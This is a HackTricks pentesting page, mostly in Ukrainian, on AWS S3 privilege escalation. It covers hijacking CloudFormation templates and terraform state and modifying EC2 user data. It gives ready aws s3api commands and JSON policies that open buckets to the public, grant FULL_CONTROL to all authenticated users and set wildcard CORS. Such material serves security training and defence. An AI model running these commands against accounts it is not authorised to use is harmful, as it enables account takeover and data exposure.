AWS - S3 Privesc

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Attacker з тими permissions над цікавими buckets може hijack resources та escalate privileges.

Наприклад, attacker with those permissions over a cloudformation bucket called "cf-templates-nohnwfax6a6i-us-east-1" зможе hijack the deployment. Доступ може бути наданий за допомогою наступної політики:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

І захоплення можливе, тому що існує невелике часове вікно від моменту, коли шаблон завантажується у bucket до моменту, коли шаблон розгортається. Атакуючий може просто створити lambda function у своєму акаунті, яка trigger-иться при надсиланні bucket notification, і hijacks вміст цього bucket.

Модуль Pacu cfn__resouce_injection може бути використаний для автоматизації цієї атаки.
Для більш докладної інформації див. оригінальне дослідження: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Це дозволи для отримання та завантаження об'єктів у S3. Декілька сервісів всередині AWS (та поза ним) використовують S3 для зберігання config files.
Атакуючий з read access до них може знайти на них sensitive information.
Атакуючий з write access до них може modify the data to abuse some service and try to escalate privileges.
Ось декілька прикладів:

  • Якщо EC2 instance зберігає user data in a S3 bucket, атакуючий може змінити його, щоб execute arbitrary code inside the EC2 instance.

s3:PutObject, s3:GetObject (optional) over terraform state file

Дуже часто [terraform] state files зберігаються в blob storage провайдерів хмари, напр., AWS S3. Суфікс файлу для state file — .tfstate, а назви bucket-ів часто також видають, що в них містяться terraform state files. Зазвичай у кожного AWS акаунту є такий bucket для зберігання state files, які показують стан акаунту.
Також у реальних акаунтах майже завжди всі розробники мають s3:*, а іноді навіть бізнес-користувачі мають s3:Put*.

Отже, якщо у вас є перераховані дозволи до цих файлів, є вектор атаки, який дозволяє отримати RCE в pipeline з привілеями terraform — у більшості випадків AdministratorAccess, роблячи вас адміністратором хмарного акаунту. Також ви можете використати цей вектор для denial of service атаки, змусивши terraform видалити легітимні ресурси.

Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:

Abusing Terraform State Files

s3:PutBucketPolicy

Атакуючий, який має бути з того самого акаунту, якщо ні — буде тригеритись помилка The specified method is not allowed, з цим дозволом зможе надати собі більше прав над bucket(ами), дозволяючи читати, записувати, змінювати, видаляти та expose-ити buckets.

bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

An attacker може зловживати цими дозволами, щоб отримати більше прав над конкретними buckets.
Зауважте, що attacker не обов'язково має бути з того самого account. Більше того, write access

bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Атакуючий може зловживати цими дозволами, щоб надати собі більший доступ до конкретних об'єктів у бакетах.

bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Очікується, що нападник із цими привілеями зможе встановити Acl для конкретної версії об'єкта.

bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

Атакувальник, який має дозвіл s3:PutBucketCORS, може змінювати CORS (Cross-Origin Resource Sharing) конфігурацію bucket, що контролює, які веб-домени можуть звертатися до його кінцевих точок. Якщо він встановить дозволяючу політику, будь-який сайт зможе робити прямі запити до bucket і читати відповіді з браузера.

Це означає, що потенційно, якщо аутентифікований користувач веб-застосунку, розміщеного в bucket, відвідає сайт атакувача, останній може використати дозволяючу CORS-політику і, залежно від застосунку, отримати доступ до профільних даних користувача або навіть захопити обліковий запис користувача.

bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks